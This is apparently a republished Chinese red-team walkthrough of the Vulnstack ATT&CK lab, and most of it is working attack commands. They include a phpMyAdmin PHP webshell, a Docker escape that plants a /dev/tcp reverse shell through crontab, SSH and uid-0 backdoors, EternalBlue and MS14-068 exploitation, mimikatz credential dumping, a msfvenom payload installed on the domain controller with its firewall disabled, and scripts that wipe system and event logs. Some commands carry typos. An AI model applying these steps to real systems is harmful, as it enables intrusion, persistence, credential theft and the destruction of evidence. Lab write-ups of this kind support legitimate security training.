ATT&CK实战系列——红队实战
Posted Fatesec
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ATT&CK实战系列——红队实战相关的知识,希望对你有一定的参考价值。
一、环境配置
vlunstack是红日安全团队出品的一个实战环境,具体介绍请访问:http://vulnstack.qiyuanxuetang.net/vuln/detail/6/
拓扑结构
我这里大致设置了一下不想改内网ip段了,ubuntu外网ip:192.168.1.136
环境机器开机密码
ubuntu:ubuntu域成员机器
douser:Dotest123
administrator:Test2008
环境是在Ubuntu上用docker做的,需要启动docker容器
都开开就完事了嗷
二、前期信息收集
使用nmap对当前外网ip进行扫描
nmap -sV 192.168.1.136 -n
Tomcat CVE-2017-126155
可以直接使用put方法写入shell
s2-045 RCE
也是root
phpmyadmin cve-2018-12613
未授权直接进入phpmyadmin
远程文件包含payload:
http://http://192.168.1.136:2003/?target=db_sql.php%253f/…/…/…/…/…/…/…/…/etc/passwd
包含session文件
首先在SQL处执行 select ‘<?php eval($_POST[a]);?>’;
复制下来cookie,构造payload
http://192.168.1.136:2003/?target=db_sql.php%253f/../../../../../../../../tmp/sess_66987e701a84794da7a7a7da72653e76
phpinfo行,刚刚内个一句话木马得换成如下
SELECT `<?php fputs(fopen("a.php","w"),'<?php eval($_POST[a]);?>');?>`;
蚁剑连接
docker 逃逸
判断是否为docker 环境
1、使用下面命令,查看是否存在 dockerrnv 文件
ls -alh /.dockerenv
2、查看系统进程的cgroup信息
cat /proc/1/cgroup
众所周知docker一般getshell都是root权限
利用特权模式逃逸
如果是通过特权模式启动容器,就可以获得大量设备文件的访问权限,因为管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。当docker容器内拥有宿主机文件读写权限时,可以通过写ssh密钥、计划任务等方式达到逃逸。
创建一个文件夹,将宿主机根目录挂载至容器目录下
查看磁盘文件: fdisk -l
新建目录以备挂载: mkdir /test
将宿主机/dev/sda1 目录挂载至容器内 /test: mount /dev/sda1 /test
即可写文件获取权限或数据
写入一个反弹 shell 脚本:
touch /test/tmp/test.sh
chmod +x /test/tmp/test.sh
ls -ll /test/tmp/test.sh
echo '#!/bin/bash' >> /test/tmp/test.sh
echo '/bin/bash -i >& bash -i >& /dev/tcp/192.168.1.128/13122 0>&1' >> /test/tmp/test.sh
或者
sed -i '$a\\/bin/bash -i >& bash -i >& /dev/tcp/1192.168.1.133/13122 0>&1' /test/tmp/test.sh
cat /test/tmp/test.sh
写入任务计划
sed -i '$a*/2 * * * * root bash /tmp/test.sh ' /test/etc/crontab
cat /test/etc/crontab
nc -lvvp 13122
换成了kali2020才逃逸成功,在docker 逃逸过程中,使用crontab 提权到root 权限
权限维持
SSH 软连接后门,软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而su在pam_rootok只检测uid 0即可认证成功,这样就导致了可以使用任意密码登录。
ln -sf /usr/sbin/sshd /tmp/su
/tmp/su -oPort=888
用户名Ubuntu 任意密码登录
添加 uid 0 用户后门
useradd -p `openssl passwd 123456` -o -u 0 hacker
三、横向渗透
配置代理
直接用EW做代理
./ew_for_linux64 -s ssocksd -l 8888
kali设置代理
vim /etc/proxychains.conf
设置 proxychains bash 全局终端
proxychains bash
信息收集
id 查看当前用户的权限和所在的管理组
uname -a 查看linux版本内核信息
cat /proc/version 查看内核信息
cat /etc/*release 查看linux发行信息
dpkg -l 查看安装的包
crontab -l 是否有计划任务
/sbin/ifconfig -a 查看ip地址等
cat /etc/passwd 普通用户可以查看用户的信息
cat /etc/shadow 账号密码信息
cat /root/.mysql_history 查看mysql历史操作
cat /root/.bash_history 查看用户指令历史记录
find / -perm -u=s -type f 2>/dev/null 匹配高权限的文件,看是否有利用点
找内网主机存活
for k in $( seq 1 255);do ping -c 1 192.168.183.$k|grep "ttl"|awk -F "[ :]+" 'print $4'; done
nmapC段探测
nmap -sn -PE -T4 192.168.183.0/24
nmap -sV -sT -Pn -n 192.168.183.129-130
MS17-010
打着玩试试
扫描模块 auxiliary/scanner/smb/smb_ms17_010
漏洞利用模块 exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
安照网上换了一个payload直接就成功了离谱,默认的payload不行
域内信息收集
ipconfig
Net group "domain controllers" /domain
走一遍开启远程桌面流程,先添加用户
发生错误emmm,先关闭防火墙把
run post/windows/manage/enable_rdp
刚刚把编码处理了一下,原来是密码强度不够
chcp 65001
net user flag asd123ASD! /add
net localgroup administrators flag /add
开启3389
run post/windows/manage/enable_rdp
或者
REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
MS14-068
该漏洞可能允许攻击者将未经授权的域用户账户的权限,提权到域管理员的权限。
1.域控没有打MS14-068的补丁
2.攻击者拿下了一台域内的普通计算机,并获得普通域用户以及密码/hash值,以及用户的suid
Ms14-068.exe 下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
上传mimikatz
privilege::debug 提取权限
sekurlsa::logonpasswords 抓取密码
整理信息
USER:douser
Domain:DEMO.COM
NTLM:bc23b0b4d5bf5ff42bc61fb62e13886e
SID:S-1-5-21-979886063-1111900045-1414766810-1107
PASSWORD:Dotest123
上传MS14-068
MS14-068.exe -u douser@DEMO.COM -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130
通过 mimikatz 导入TGT票据将写入,从而提升为域管理员
kerberos::purge
kerberos::ptc TGT_douser@DEMO.COM.ccache
dir \\\\WIN-ENS2VR5TR3N\\c$
上线域控
生产一个正向连接payload:
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8989 -f exe-service -o /root/360.exe
将 payload 上传到跳板机:
关闭域控防火墙,将payload复制到域控:
sc \\\\WIN-ENS2VR5TR3N create ProFirewall binpath= "netsh advfirewall set allprofiles state off"
xcopy 360.exe \\\\WIN-ENS2VR5TR3N\\c$
创建服务成功,开启防火墙,运行 payload
sc \\\\WIN-ENS2VR5TR3N create Startup binpath= "C:\\360.exe"
sc \\\\WIN-ENS2VR5TR3N start ProFirewall
sc \\\\WIN-ENS2VR5TR3N start Startup
设置监听,获取shell
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.183.130
set lport 8989
进程迁移
ps #获取目标主机正在运行的进程
getpid #查看meterpreter shell的进程号
steal_token #窃取令牌
migrate 1584
然后使用migrate 1584命令将shell移到PID为1584的explorer.exe进程里,因为该进程是一个稳定的应用。
kiwi模块
使用kiwi模块需要system权限,所以我们在使用该模块之前需要将当前MSF中的shell提升为system。提到system有两个方法,一是当前的权限是administrator用户,二是利用其它手段先提权到administrator用户。然后administrator用户可以直接getsystem到system权限。
load kiwi #加载kiwi模块
creds_all #该命令可以列举系统中的明文密码
开启3389
run post/windows/manage/enable_rdp
或者
REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
administrator DEMO.COM Test2009
痕迹清理
清除命令历史记录
histroy -r #删除当前会话历史记录
history -c #删除内存中的所有命令历史
rm .bash_history #删除历史文件中的内容
HISTZISE=0 #通过设置历史命令条数来清除所有历史记录
在隐蔽的位置执行命令
使用vim打开文件执行命令
:set history=0
:!command
linux日志文件
/var/run/utmp 记录现在登入的用户
/var/log/wtmp 记录用户所有的登入和登出
/var/log/lastlog 记录每一个用户最后登入时间
/var/log/btmp 记录错误的登入尝试
/var/log/auth.log 需要身份确认的操作
/var/log/secure 记录安全相关的日志信息
/var/log/maillog 记录邮件相关的日志信息
/var/log/message 记录系统启动后的信息和错误日志
/var/log/cron 记录定时任务相关的日志信息
/var/log/spooler 记录UUCP和news设备相关的日志信息
/var/log/boot.log 记录守护进程启动和停止相关的日志消息
完全删除日志文件:
cat /dev/null > filename
: > filename
> filename
echo "" > filename
echo > filename
针对性删除日志文件:
删除当天日志
sed -i '/当天日期/'d filename
一键清除脚本:
#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
rm ~/./bash_history
history -c
windows
1.查看事件日志
run event_manager -i
2.删除事件日志
run event_manager -c
3.clearv命令清除目标系统的事件日志。
MSF
run event_manager -i 查看日志
run event_manager -c 删除事件日志
参考的大佬们博客:
https://blog.csdn.net/qq_38626043/article/details/119620612
https://blog.csdn.net/weixin_42918771/article/details/116207505
https://blog.csdn.net/a709046532/article/details/119917671
https://www.cnblogs.com/yuzly/p/10859520.html
本文仅作靶场实战教程,禁止将本文演示的技术方法用于非法活动,违者后果自负。
以上是关于ATT&CK实战系列——红队实战的主要内容,如果未能解决你的问题,请参考以下文章